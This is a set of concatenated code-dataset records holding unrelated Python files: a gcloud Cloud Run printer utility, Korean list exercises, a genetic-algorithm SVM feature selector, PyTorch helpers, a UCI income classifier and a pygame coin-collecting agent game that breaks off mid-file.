\"\"\"Returns a formatted table of a resource's containers.\"\"\"\n\n  dependencies = collections.defaultdict(list, record.dependencies)\n\n  def Containers():\n    for name, container in k8s_util.OrderByKey(record.containers):\n      key = 'Container {name}'.format(name=name)\n      value = GetContainer(\n          container,\n          record.labels,\n          dependencies[name],\n          len(record.containers) == 1 or container.ports,\n      )\n      yield (key, value)\n\n  return cp.Mapped(Containers())\n\n\ndef GetLimits(record):\n  return collections.defaultdict(str, record.resource_limits)\n\n\ndef GetUserEnvironmentVariables(record):\n  return cp.Mapped(k8s_util.OrderByKey(record.env_vars.literals))\n\n\ndef GetSecrets(container: container_resource.Container) -> cp.Table:\n  \"\"\"Returns a print mapping for env var and volume-mounted secrets.\"\"\"\n  secrets = {}\n  secrets.update(\n      {k: _FormatSecretKeyRef(v) for k, v in container.env_vars.secrets.items()}\n  )\n  secrets.update(\n      {\n          k: _FormatSecretVolumeSource(v)\n          for k, v in container.MountedVolumeJoin('secrets').items()\n      }\n  )\n  return cp.Mapped(k8s_util.OrderByKey(secrets))\n\n\ndef GetVolumeMounts(container: container_resource.Container) -> cp.Table:\n  \"\"\"Returns a print mapping for volumes.\"\"\"\n  volumes = {\n      k: _FormatVolumeMount(*v)\n      for k, v in container.NamedMountedVolumeJoin().items()\n  }\n  volumes = {k: v for k, v in volumes.items() if v}\n  return cp.Mapped(k8s_util.OrderByKey(volumes))\n\n\ndef _FormatVolumeMount(name, volume):\n  \"\"\"Format details about a volume mount.\"\"\"\n  if not volume:\n    return 'volume not found'\n  if volume.emptyDir:\n    return cp.Labeled([\n        ('name', name),\n        ('type', 'in-memory'),\n    ])\n  elif volume.nfs:\n    return cp.Labeled([\n        ('name', name),\n        ('type', 'nfs'),\n        ('location', '{}:{}'.format(volume.nfs.server, volume.nfs.path)),\n    ])\n  elif volume.csi:\n    if volume.csi.driver == 'gcsfuse.run.googleapis.com':\n      bucket = None\n      for prop in volume.csi.volumeAttributes.additionalProperties:\n        if prop.key == 'bucketName':\n          bucket = prop.value\n      return cp.Labeled(\n          [('name', name), ('type', 'cloud-storage'), ('bucket', bucket)]\n      )\n\n\ndef GetVolumes(record):\n  \"\"\"Returns a print mapping for volumes.\"\"\"\n  volumes = {v.name: _FormatVolume(v) for v in record.spec.volumes}\n  volumes = {k: v for k, v in volumes.items() if v}\n  return cp.Mapped(k8s_util.OrderByKey(volumes))\n\n\ndef _FormatVolume(volume):\n  \"\"\"Format a volume for the volumes list.\"\"\"\n  if volume.emptyDir:\n    return cp.Labeled([\n        ('type', 'in-memory'),\n        ('size-limit', volume.emptyDir.sizeLimit),\n    ])\n  elif volume.nfs:\n    return cp.Labeled([\n        ('type', 'nfs'),\n        ('location', '{}:{}'.format(volume.nfs.server, volume.nfs.path)),\n        ('read-only', volume.nfs.readOnly),\n    ])\n  elif volume.csi:\n    if volume.csi.driver == 'gcsfuse.run.googleapis.com':\n      bucket = None\n      for prop in volume.csi.volumeAttributes.additionalProperties:\n        if prop.key == 'bucketName':\n          bucket = prop.value\n      return cp.Labeled([\n          ('type', 'cloud-storage'),\n          ('bucket', bucket),\n          ('read-only', volume.csi.readOnly),\n      ])\n\n\ndef GetConfigMaps(container: container_resource.Container) -> cp.Table:\n  \"\"\"Returns a print mapping for env var and volume-mounted config maps.\"\"\"\n  config_maps = {}\n  config_maps.update(\n      {\n          k: _FormatConfigMapKeyRef(v)\n          for k, v in container.env_vars.config_maps.items()\n      }\n  )\n  config_maps.update(\n      {\n          k: _FormatConfigMapVolumeSource(v)\n          for k, v in container.MountedVolumeJoin('config_maps').items()\n      }\n  )\n  return cp.Mapped(k8s_util.OrderByKey(config_maps))\n","repo_name":"Flank/gcloud_cli","sub_path":"google-cloud-sdk/lib/googlecloudsdk/command_lib/run/printers/container_and_volume_printer_util.py","file_name":"container_and_volume_printer_util.py","file_ext":"py","file_size_in_byte":5733,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"24118483993","text":"# # '''\n# # 리수튜\n# # 열거형 변수를 나타내는 자료구조 중 하나\n# # <특징1> 추가하는 메소드 (맨오른쪽)\n# # <특징2>뺴는 메소드(맨오른쪽)\n# # <특징3>선택해서 삭제 메소드\n# # <특징4>정렬 (오름 차순)(계단)\n# # f=[1,3,2,4]\n# # f.sort()\n# # print(f)\n# # g=[1,3,2,4]\n# # g.reverse()\n# # print(g)\n# # 특8\n# # 리스트와 니스트를 합칠때\"+\"사용\n# # 특9\n# # 리스트를 비울때 clear메소드 사용\n# # 특10\n# # 특정 위치의 값을 추가할때insert 메소드 사용\n# # 특11\n# # 값이 몇번째있는지 찾을 때 index 메소드사용\n# # 특12\n# # 리스트안에 값이 몇개인디 알아볼때 count 메소드사용\n# # 특13\n# # 리스트의 길이를 알고싶을때 len 함수 사용\n# # 특14\n\n# # '''\n# # '''a=[1,2]\n# # b=[3,4]\n# # a.extend(b)\n# # print(a)\n# # d=[100,200]\n# # d.clear()\n# # print(d)\n# # e=[1,2,3]\n# # e.insert(1,100)\n# # print(e)\n# # f=[1,2,3,4,2]\n# # print(f.index(2))\n# # g=[1,2,3,4,2]\n# # print(g.count(5))\n# # h=[1,2,3,4]\n# # print(len(h))\n# # a=[\"바나나\",\"사과\",\"오렌지\"]\n# # for i in range(len(a)):\n# #     print(a[i])\n# # for i in a:\n# #     print(i)\n# # fruits=[\"orange\",\"cherry\",\"watermelon\",\"apple\",\"blueberry\"]\n# # fruits.sort()\n# # fruits.reverse()\n\n# # for i in range(len(fruits)):\n# #     print(fruits[i])\n# # 전번=[0,1,0,4,5,0,3,0,4,7,9]\n# # 전번.clear()\n# # 전번.append(0)\n# # 전번.append(1)\n# # 전번.append(0)\n# # 전번.append(9)\n# # 전번.append(8)\n# # 전번.append(7)\n# # 전번.append(6)\n# # 전번.append(5)\n# # 전번.append(4)\n# # 전번.append(3)\n# # print(전번)\n# # 결과=[]\n# # for i in range(1,21):\n# #     if (i%3==0):\n# #         결과.append(i)\n# # 결과.reverse()\n# # print(결과)\n# # def 공약수(e,r):\n# #     for i in range(1<e*r):\n# #         min(e,r)\n# #         공약수.sort\n# #         print(공약수/)'''\n# fruits=[\"orange\",\"banana\",\"cherry\",\"apple\"]\n# # fruits.append(\"watermelon\")\n# # fruits.append(\"blueberry\")\n# # fruits.append(\"tomato\")\n# # fruits.sort()\n# # fruits.reverse()\n# # # print(fruits[0])\n# # # print(fruits[1])\n# # # print(fruits[2])\n# # # print(fruits[3])\n# # # a=[10,20,30]\n# # # print(a)\n\n# # # a.insert(1,100)\n# # # a.insert(3,200)\n# # # print(a)\n# # for i in range(len(fruits)):\n# #     print(fruits[i])\n# for fruit in fruits:\n#     print(fruit)\n# o=[]\n# for i in range(1,6):\n#     o.append(i)\n# print(o)\n# for i in range(len(o)):\n#     print(o[i])\n# o=[]\n# for i in range(1,21):\n#     if (i%3==0):\n#         o.append(i)\n# print(o)\n# o.sort()\n# o.reverse()\n# for i in range(len(o)):\n#     print(o[i])\no=[]\nfor i in range(1,101):\n    if (i%3==0):\n        if(i%4==0):\n            o.append(i)\no.sort()            \no.reverse()            \nprint(o)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"dreamliketwo/python_jinwoo","sub_path":"day6/list2.py","file_name":"list2.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27707818157","text":"\"\"\"\nThis file has the driver code to run the GA for feature selection and feed it to ML Model.\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nimport os\n\nimport genetic_algo as ga\nimport model as M\nimport pickle\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import accuracy_score\n\n# Pickling the model\ndef save_model(model, filename):\n    pickle.dump(model, open(filename, 'wb'))\n\ndef load_model(filename):\n    loaded_model = pickle.load(open(filename, 'rb'))\n    # result = loaded_model.score(x_test, y_test)\n    # print(result)\n    return loaded_model\n\n\"\"\"\nhappy_path = \"./happy.csv\"\nnot_happy_path = \"./nothappy.csv\"\n\nhappydf = pd.read_csv(happy_path).sample(frac = 1)\nhappydf.drop(happydf.iloc[:, 696:714], inplace=True, axis=1)\nhappydf.drop(happydf.iloc[:, 0:5], inplace=True, axis=1)\nhappydf_y = happydf[\"Label\"]\nhappydf.drop(columns=['Label'], inplace=True, axis=1)\n\nnothappydf = pd.read_csv(not_happy_path).sample(frac = 1)\nnothappydf.drop(nothappydf.iloc[:, 696:714], inplace=True, axis=1)\nnothappydf.drop(nothappydf.iloc[:, 0:5], inplace=True, axis=1)\nN = len(nothappydf.columns)\nnothappydf_y = nothappydf[\"Label\"]\nnothappydf.drop(columns=['Label'], inplace=True, axis=1)\n\nhappytempdf = pd.read_csv(\"./happy_temp.csv\").sample(frac = 1)\nhappytempdf.drop(happytempdf.iloc[:, 696:714], inplace=True, axis=1)\nhappytempdf.drop(happytempdf.iloc[:, 0:5], inplace=True, axis=1)\nN = len(happytempdf.columns)\nhappy_temp_y = happytempdf[\"Label\"]\nhappytempdf.drop(columns=['Label'], inplace=True, axis=1)\n\"\"\"\n\npath = \"dataset.csv\"\ndf = pd.read_csv(path).sample(frac=1)\ndf.drop(df.iloc[:, 696:714], inplace=True, axis=1)\ndf.drop(df.iloc[:, 0:5], inplace=True, axis=1)\nN = len(df.columns)\nlabel = df[\"Label\"]\ndf.drop(columns=['Label'], inplace=True, axis=1)\nX_train, X_test, y_train, y_test = train_test_split(df, label, test_size=0.20, random_state=0)\n\nprint(\"X_train =\", str(X_train.shape))\nprint(\"X_test =\", str(X_test.shape))\nprint(\"y_train =\", str(y_train.shape))\nprint(\"y_test =\", str(y_test.shape))\n\n# Genetic Algorithm Hyperparameters:\nNUM_GENERATIONS = 15\nINIT_POP_SIZE = 25  # higher the better\nBEST_K_CHROM = INIT_POP_SIZE // 2\nCROSSOVER_RATIO = 1\nMUTATION_FACTOR = 0.1\nNUM_FEATURES = len(df.columns)\nTHRESHOLD = 0.05\n\n# Neural Network Hyperparameters\nEPOCHS = 250\n\nif __name__ == \"__main__\":\n    \n    \"\"\"\n    try:\n        fit_chrom = np.load(\"./svm_chrom.npy\")\n        classifier = load_model(\"./finalized_svm.sav\")\n        print(\"Happy images\\n\")\n        temp = np.where(fit_chrom, True, False)\n        result = classifier.score(happytempdf.iloc[:, temp], happy_temp_y)\n        print(result)\n\n        y_pred = classifier.predict(happydf.iloc[:, temp])\n        print(y_pred)\n        y_pred = (y_pred > 0.5)\n        print(y_pred)\n\n        print(\"Un-Happy images\\n\")\n        y_pred = classifier.predict(nothappydf.iloc[:, temp])\n        print(y_pred)\n        y_pred = (y_pred > 0.5)\n        print(y_pred)\n\n    except:\n        print(e)\n    \"\"\"\n    \n    accuracy_before_GA = M.classify_before_GA_SVM(\n        X_train, X_test, y_train, y_test)\n    print(\"ACCURACY FOR MODEL WITHOUT GA =\", accuracy_before_GA)\n\n    initial_population = ga.initialize_population(INIT_POP_SIZE, NUM_FEATURES)\n\n    for i in range(NUM_GENERATIONS):\n        print(\"----GENERATION #\" + str(i+1) + \"----\")\n        fitness_scores, initial_population = ga.compute_fitness_score(\n            initial_population, X_train, X_test, y_train, y_test)\n        improved_population = ga.rank_selection(\n            initial_population, fitness_scores, len(initial_population)//2)\n        # improved_population = ga.tournament_selection(initial_population, fitness_scores, num_parents = 20, tournament_size = 4)\n        # improved_population = ga.rank_selection(initial_population, fitness_scores, BEST_K_CHROM)\n        # cross_overed_pop = ga.uniform_crossover(improved_population)\n        cross_overed_pop = ga.k_point_crossover(\n            improved_population, CROSSOVER_RATIO)\n        mutated_pop = ga.bit_swap_mutation(cross_overed_pop, MUTATION_FACTOR)\n        # new_generation = ga.weak_parents_update(\n        #     initial_population, fitness_scores, mutated_pop)\n        new_generation = ga.generational_update(\n            initial_population, mutated_pop, fitness_scores)\n        initial_population = new_generation\n\n    print(\"----FINAL CALCULATIONS----\")\n    fitness_scores, initial_population = ga.compute_fitness_score(\n        initial_population, X_train, X_test, y_train, y_test)\n    indices = np.argsort(fitness_scores)\n    updated_pop = [initial_population[i] for i in indices][::-1]\n\n    classifier = SVC(C=10, gamma=0.01, kernel=\"rbf\")\n    temp = np.where(updated_pop[0], True, False)\n    classifier.fit(X_train.iloc[:, temp], y_train)\n    y_pred = classifier.predict(X_test.iloc[:, temp])\n    print(\"ACCURACY OF MODEL AFTER GA =\", accuracy_score(y_true=y_test, y_pred=y_pred))\n\n    \"\"\"\n    accuracy_after_GA = M.fitness_score_SVM(\n        updated_pop[0], X_train, X_test, y_train, y_test, save = False)\n    print(\"ACCURACY OF MODEL AFTER GA =\", accuracy_after_GA)\n\n    fit_chrom = np.load(\"./svm_chrom.npy\")\n    classifier = load_model(\"./finalized_svm.sav\")\n    \n    print(\"Happy images\\n\")\n    temp = np.where(updated_pop[0], True, False)\n    # result = classifier.score(happytempdf.iloc[:, temp], happy_temp_y)\n    # print(result)\n\n    y_pred = classifier.predict(happydf.iloc[:, temp])\n    print(y_pred)\n    y_pred = (y_pred > 0.5)\n    print(y_pred)\n    \n    print(\"Un-Happy images\\n\")\n    y_pred = classifier.predict(nothappydf.iloc[:, temp])\n    print(y_pred)\n    y_pred = (y_pred > 0.5)\n    print(y_pred)\n\n    np.save(\"./svm_chrom.npy\", updated_pop[0])\n    \"\"\"","repo_name":"siddarthgopalakrishnan/genetic-algorithm-for-emotion-recognition","sub_path":"main_2.py","file_name":"main_2.py","file_ext":"py","file_size_in_byte":5707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"23489712458","text":"import torch\n\n\ndef get_backend():\n    if torch.backends.mps.is_available():\n        if torch.backends.mps.is_built():\n            return \"mps\"\n        else:\n            print(\n                \"MPS device detected, but it's not available because the current PyTorch install was not \"\n                \"built with MPS enabled.\"\n            )\n    if torch.cuda.is_available():\n        return \"cuda\"\n    return \"cpu\"\n\n\ndef construct_future_mask(seq_len: int, batch_size: int = 1):\n    \"\"\"\n    Construct a binary mask that contains 1's for all previous connections (autoregressive) and 0's for all outgoing future connections.\n    This mask will be applied to the attention logits in decoder self-attention such that all logits with a 0 mask are set to -inf.\n    :param seq_len: length of the input sequence\n    :return: (seq_len,seq_len) mask\n    \"\"\"\n    subsequent_mask = torch.tril(\n        torch.ones(batch_size, seq_len, seq_len), diagonal=-1\n    )\n    return subsequent_mask\n","repo_name":"Misterion777/yet-another-transformer","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13322741787","text":"\n# coding: utf-8\n\n# In[1]:\n\n\n# Import Statements\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import *\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier \nimport matplotlib.pyplot as plt\n\n\n# In[2]:\n\n\n#  Import data from the UCI database\nurl = \"https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data\"\ndata = pd.read_csv(url, header=None)\n#data = pd.read_csv(\"AndrewCoogan-M02-Dataset.csv\")\ndata.columns = [\"Age\", \"Workclass\", \"FinlWeight\", \"Education\", \"EducationNum\", \"MaritalStatus\", \n                \"Occupation\", \"Relationship\", \"Race\", \"Sex\", \"CapitolGain\", \"CapitolLoss\", \n                \"HoursPerWeek\", \"NativeCountry\", \"Income\"]\n\n\n# In[3]:\n\n\n#  Finalweight is not a valid factor\n#  Education and Education Num are too highly correlated\ndata.drop(\"EducationNum\", inplace = True, axis = 1)\ndata.drop(\"FinlWeight\", inplace = True, axis = 1)\n\n\n# In[4]:\n\n\n#  This is just to help me seperate the column names\ncategorical_data = ['Workclass', 'Education', 'MaritalStatus', 'Occupation', 'Relationship', \n                    'Race', 'Sex', 'NativeCountry']\n\nnon_categorical_data = ['Age', 'CapitolGain', 'CapitolLoss', 'HoursPerWeek']\ntarget = ['Income']\n\n\n# In[5]:\n\n\n#  Occupation, Workclass, NativeCountry all contain missing values \n#  We need to clean the data and see what we need to fix\ndata[categorical_data] = data[categorical_data].apply(lambda x : x.str.strip(), axis = 0)\ndata = data.replace(to_replace=\"?\", value=np.nan)\ndata.apply(lambda x: x.isnull().sum(), axis=0)\n\n\n# In[6]:\n\n\n# Workclass and Occupation share the vast majort the missing values, so I am going to remove those\n# Those missing values only account for 5% of the data, so that should be fine to trim\n# I am going to keep the unknown NativeCountry as a dummy variable\ndata = data.loc[~data.Workclass.isnull(),:]\ndata = data.loc[~data.Occupation.isnull(),:]\n\n\n# In[7]:\n\n\n#  I am going to set all of the missing NativeCountry column entries to UnknownNC\n#  I will allow the svc to detemine if knowing the country of origin is important or not\ndata.NativeCountry.loc[data.NativeCountry.isnull()] = \"UnknownNC\"\n\n\n# In[8]:\n\n\n#  This was for testing purposes.\n#data_orig = data.copy()\n\n\n# In[9]:\n\n\n#  Get dummies breaks down the categeorical columns into binary columns.\n#  This is going to make the dataframe go from 10 or so columns to well over 100 with\n#     all the different combination of column elements.\ndata_f = pd.get_dummies(data[categorical_data])\n\n\n# In[10]:\n\n\n#  I am going to normalize all of this using mean variance\ndata_f[non_categorical_data] = data[non_categorical_data].apply(lambda l: (l-np.mean(l)) / np.std(l))\n\n\n# In[11]:\n\n\n#  This will break the pandas datatable into four new datatables:\n# - Feature training set\n# - Feature testing set\n# - Target training set\n# - Target testing set\nfeature_train, feature_test, target_train, target_test = train_test_split(\n    data_f[data_f.columns.difference(target)], \n    data[target], \n    random_state=0,\n    test_size = 0.7) \n\n\n# In[12]:\n\n\n#  Replacing the categories with 0 if person makes less than 50k and 1 if a person makes more\ntarget_test = target_test.Income.str.strip().replace([\"<=50K\", \">50K\"], [0, 1])\ntarget_train = target_train.Income.str.strip().replace([\"<=50K\", \">50K\"], [0, 1])\n\n\n# In[13]:\n\n\n#  Lets start with a SVC Model because I think it is very robust.  SVC is a model\n# that is routinely seen in finance, so I have a slght affinity to SVC.\n\nsvc_mod = SVC(probability=True)\nsvc_mod.fit(feature_train, target_train)\nsvc_pred = svc_mod.predict(feature_test)\nsvc_prob = svc_mod.predict_proba(feature_test)\nprob_pos_svc = svc_prob[:,1]\n\n\n# In[14]:\n\nprint('SVC Classifier')\n#  Code to create the confusion matrix and outputs\nCM_svc = confusion_matrix(target_test, svc_pred)\nprint (\"\\n\\nConfusion matrix:\\n\", CM_svc)\ntn_svc, fp_svc, fn_svc, tp_svc = CM_svc.ravel()\nprint (\"\\nTP, TN, FP, FN:\", tp_svc, \",\", tn_svc, \",\", fp_svc, \",\", fn_svc)\nAR_svc = accuracy_score(target_test, svc_pred)\nprint (\"\\nAccuracy rate:\", np.round(AR_svc,4))\nER_svc = 1.0 - AR_svc\nprint (\"\\nError rate:\", np.round(ER_svc,2))\nP_svc = precision_score(target_test, svc_pred)\nprint (\"\\nPrecision:\", np.round(P_svc, 2))\nR_svc = recall_score(target_test, svc_pred)\nprint (\"\\nRecall:\", np.round(R_svc, 2))\nF1_svc = f1_score(target_test, svc_pred)\nprint (\"\\nF1 score:\", np.round(F1_svc, 2))\n\n\n# In[15]:\n\n\n#  Settings for plot and ROC Curve for the SVC model\nLW = 1.5\nLL = \"lower right\"\nLC = \"darkgreen\"\n\nfpr_svc, tpr_svc, th_svc = roc_curve(np.array(target_test), np.array(prob_pos_svc))\nAUC_svc = auc(fpr_svc, tpr_svc)\nprint (\"\\nTP rates:\", np.round(tpr_svc, 2))\nprint (\"\\nFP rates:\", np.round(fpr_svc, 2))\nprint (\"\\nProbability thresholds:\", np.round(th_svc, 2))\nprint (\"\\nAUC score (using auc function):\", np.round(AUC_svc, 2))\nprint(\"\\n\")\nplt.figure()\nplt.title(\"Receiver Operating Characteristic (ROC) Curve - SVC\")\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel(\"FALSE Positive Rate\")\nplt.ylabel(\"TRUE Positive Rate\")\nplt.plot(fpr_svc, tpr_svc, color=LC,lw=LW, label=\"ROC curve (area = %0.2f)\" % AUC_svc)\nplt.plot([0, 1], [0, 1], color=\"navy\", lw=LW, linestyle='--')\nplt.legend(loc=LL)\nplt.show()\n\n\n# In[16]:\n\n\n#  For my second classifier I am going to use random forest classification\nrf = RandomForestClassifier()\nrf.fit(feature_train, target_train)\nrf_prob = rf.predict_proba(feature_test)\nrf_pred = rf.predict(feature_test)\nprob_pos_rf = rf_prob[:,1]\n\n\n# In[19]:\n# I am going to give a random forest classifier a try as its a different approcah\n# to classification.  It is going to make a conbination of weaker classiferies to \n# make strong classifiers.  Since we have so many classifiers, this should prove\n# to be a good model.\n\nprint('Random Forest Classifier')\n#  Code to create the confusion matrix and outputs\nCM_rf = confusion_matrix(target_test, rf_pred)\nprint (\"\\n\\nConfusion matrix:\\n\", CM_rf)\ntn_rf, fp_rf, fn_rf, tp_rf = CM_rf.ravel()\nprint (\"\\nTP, TN, FP, FN:\", tp_rf, \",\", tn_rf, \",\", fp_rf, \",\", fn_rf)\nAR_rf = accuracy_score(target_test, rf_pred)\nprint (\"\\nAccuracy rate:\", np.round(AR_rf,4))\nER_rf = 1.0 - AR_rf\nprint (\"\\nError rate:\", np.round(ER_rf,2))\nP_rf = precision_score(target_test, rf_pred)\nprint (\"\\nPrecision:\", np.round(P_rf, 2))\nR_rf = recall_score(target_test, rf_pred)\nprint (\"\\nRecall:\", np.round(R_rf, 2))\nF1_rf = f1_score(target_test, rf_pred)\nprint (\"\\nF1 score:\", np.round(F1_rf, 2))\n\n\n# In[21]:\n\n\n#  We will keep same colour scheme as the SVC model\n#  This will output the ROC curve for the random forest model\n\nfpr_rf, tpr_rf, th_rf = roc_curve(np.array(target_test), np.array(prob_pos_rf))\nAUC_rf = auc(fpr_rf, tpr_rf)\nprint (\"\\nTP rates:\", np.round(tpr_rf, 2))\nprint (\"\\nFP rates:\", np.round(fpr_rf, 2))\nprint (\"\\nProbability thresholds:\", np.round(th_rf, 2))\nprint (\"\\nAUC score (using auc function):\", np.round(AUC_rf, 2))\nprint(\"\\n\")\nplt.figure()\nplt.title(\"Receiver Operating Characteristic (ROC) Curve - Random Forest\")\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel(\"FALSE Positive Rate\")\nplt.ylabel(\"TRUE Positive Rate\")\nplt.plot(fpr_rf, tpr_rf, color=LC,lw=LW, label=\"ROC curve (area = %0.2f)\" % AUC_rf)\nplt.plot([0, 1], [0, 1], color=\"navy\", lw=LW, linestyle='--')\nplt.legend(loc=LL)\nplt.show()\n\n","repo_name":"AndrewCoogan/DS_Certificate","sub_path":"Data Science/Week 10/Homework/AndrewCoogan-M03-DataModelFinal.py","file_name":"AndrewCoogan-M03-DataModelFinal.py","file_ext":"py","file_size_in_byte":7315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28330843588","text":"import math\r\nimport random\r\n\r\nimport pygame\r\nimport os\r\nimport config\r\n\r\nfrom itertools import permutations\r\n\r\nclass BaseSprite(pygame.sprite.Sprite):\r\n    images = dict()\r\n\r\n    def __init__(self, x, y, file_name, transparent_color=None, wid=config.SPRITE_SIZE, hei=config.SPRITE_SIZE):\r\n        pygame.sprite.Sprite.__init__(self)\r\n        if file_name in BaseSprite.images:\r\n            self.image = BaseSprite.images[file_name]\r\n        else:\r\n            self.image = pygame.image.load(os.path.join(config.IMG_FOLDER, file_name)).convert()\r\n            self.image = pygame.transform.scale(self.image, (wid, hei))\r\n            BaseSprite.images[file_name] = self.image\r\n        # making the image transparent (if needed)\r\n        if transparent_color:\r\n            self.image.set_colorkey(transparent_color)\r\n        self.rect = self.image.get_rect()\r\n        self.rect.topleft = (x, y)\r\n\r\n\r\nclass Surface(BaseSprite):\r\n    def __init__(self):\r\n        super(Surface, self).__init__(0, 0, 'terrain.png', None, config.WIDTH, config.HEIGHT)\r\n\r\n\r\nclass Coin(BaseSprite):\r\n    def __init__(self, x, y, ident):\r\n        self.ident = ident\r\n        super(Coin, self).__init__(x, y, 'coin.png', config.DARK_GREEN)\r\n\r\n    def get_ident(self):\r\n        return self.ident\r\n\r\n    def position(self):\r\n        return self.rect.x, self.rect.y\r\n\r\n    def draw(self, screen):\r\n        text = config.COIN_FONT.render(f'{self.ident}', True, config.BLACK)\r\n        text_rect = text.get_rect(center=self.rect.center)\r\n        screen.blit(text, text_rect)\r\n\r\n\r\nclass CollectedCoin(BaseSprite):\r\n    def __init__(self, coin):\r\n        self.ident = coin.ident\r\n        super(CollectedCoin, self).__init__(coin.rect.x, coin.rect.y, 'collected_coin.png', config.DARK_GREEN)\r\n\r\n    def draw(self, screen):\r\n        text = config.COIN_FONT.render(f'{self.ident}', True, config.RED)\r\n        text_rect = text.get_rect(center=self.rect.center)\r\n        screen.blit(text, text_rect)\r\n\r\n\r\nclass Agent(BaseSprite):\r\n    def __init__(self, x, y, file_name):\r\n        super(Agent, self).__init__(x, y, file_name, config.DARK_GREEN)\r\n        self.x = self.rect.x\r\n        self.y = self.rect.y\r\n        self.step = None\r\n        self.travelling = False\r\n        self.destinationX = 0\r\n        self.destinationY = 0\r\n\r\n    def set_destination(self, x, y):\r\n        self.destinationX = x\r\n        self.destinationY = y\r\n        self.step = [self.destinationX - self.x, self.destinationY - self.y]\r\n        magnitude = math.sqrt(self.step[0] ** 2 + self.step[1] ** 2)\r\n        self.step[0] /= magnitude\r\n        self.step[1] /= magnitude\r\n        self.step[0] *= config.TRAVEL_SPEED\r\n        self.step[1] *= config.TRAVEL_SPEED\r\n        self.travelling = True\r\n\r\n    def move_one_step(self):\r\n        if not self.travelling:\r\n            return\r\n        self.x += self.step[0]\r\n        self.y += self.step[1]\r\n        self.rect.x = self.x\r\n        self.rect.y = self.y\r\n        if abs(self.x - self.destinationX) < abs(self.step[0]) and abs(self.y - self.destinationY) < abs(self.step[1]):\r\n            self.rect.x = self.destinationX\r\n            self.rect.y = self.destinationY\r\n            self.x = self.destinationX\r\n            self.y = self.destinationY\r\n            self.travelling = False\r\n\r\n    def is_travelling(self):\r\n        return self.travelling\r\n\r\n    def place_to(self, position):\r\n        self.x = self.destinationX = self.rect.x = position[0]\r\n        self.y = self.destinationX = self.rect.y = position[1]\r\n\r\n    # coin_distance - cost matrix\r\n    # return value - list of coin identifiers (containing 0 as first and last element, as well)\r\n    def get_agent_path(self, coin_distance):\r\n        pass\r\n\r\n\r\nclass ExampleAgent(Agent):\r\n    def __init__(self, x, y, file_name):\r\n        super().__init__(x, y, file_name)\r\n\r\n    def get_agent_path(self, coin_distance):\r\n        path = [i for i in range(1, len(coin_distance))]\r\n        random.shuffle(path)\r\n        return [0] + path + [0]\r\n\r\n\r\n\r\n#     POMOCNA STRUKTURA PODATAKA\r\nclass Data(object):\r\n\r\n    def __init__(self, pri, arr):\r\n        self.priority = pri\r\n        self.list = arr\r\n\r\n    def __str__(self):\r\n        return ' '.join([str(self.priotiry) for i in self.list])\r\n\r\n    def __lt__(self, other):\r\n        selfPriority = (self.priority, len(self.list), self.list[len(self.list) - 1])\r\n        otherPriority = (other.priority, len(other.list), other.list[len(self.list) - 1])\r\n        return selfPriority < otherPriority\r\n\r\n\r\n\r\ndef cost_of_path(list, coin_distance):\r\n    cost = 0\r\n    for i in range(0, len(list) - 1):\r\n        cost += coin_distance[list[i]][list[i + 1]]\r\n\r\n    return cost\r\n\r\n\r\n\r\n#     PO DEFINICIJI ZAMISLJENO DA SE PROSLEDJUJE PODATAK TIPA 'DATA'\r\n#     I DA JE MANJI BROJ VECI PRIORITET\r\nclass PriorityQueue(object):\r\n    def __init__(self):\r\n        self.queue = []\r\n\r\n    def __str__(self):\r\n        return ' '.join([str(i) for i in self.queue])\r\n\r\n    # for checking if the queue is empty\r\n    def isEmpty(self):\r\n        return len(self.queue) == 0\r\n\r\n    # for inserting an element in the queue\r\n    def insert(self, data):\r\n        self.queue.append(data)\r\n\r\n    # for popping an element based on Priority\r\n    def delete(self):\r\n        try:\r\n            max_val = 0\r\n            for i in range(len(self.queue)):\r\n                if self.queue[i].priority < self.queue[max_val].priority:\r\n                    max_val = i\r\n            item = self.queue[max_val]\r\n            del self.queue[max_val]\r\n            return item\r\n        except IndexError:\r\n            print()\r\n            exit()\r\n\r\n    def top(self):\r\n        try:\r\n            max_val = 0\r\n            for i in range(len(self.queue)):\r\n                if self.queue[i].priority < self.queue[max_val].priority:\r\n                    max_val = i\r\n            item = self.queue[max_val]\r\n            return item\r\n        except IndexError:\r\n            print()\r\n            exit()\r\n\r\n\r\n\r\n#   ALGORITAM ZA RACUNANJE OBUHVATNOG STABLA GRAFA\r\n#   DIJKSTRIN ALGROITAM, KORISCEN KOD A* ALGORITMA ZA HEURISTIKU\r\ndef 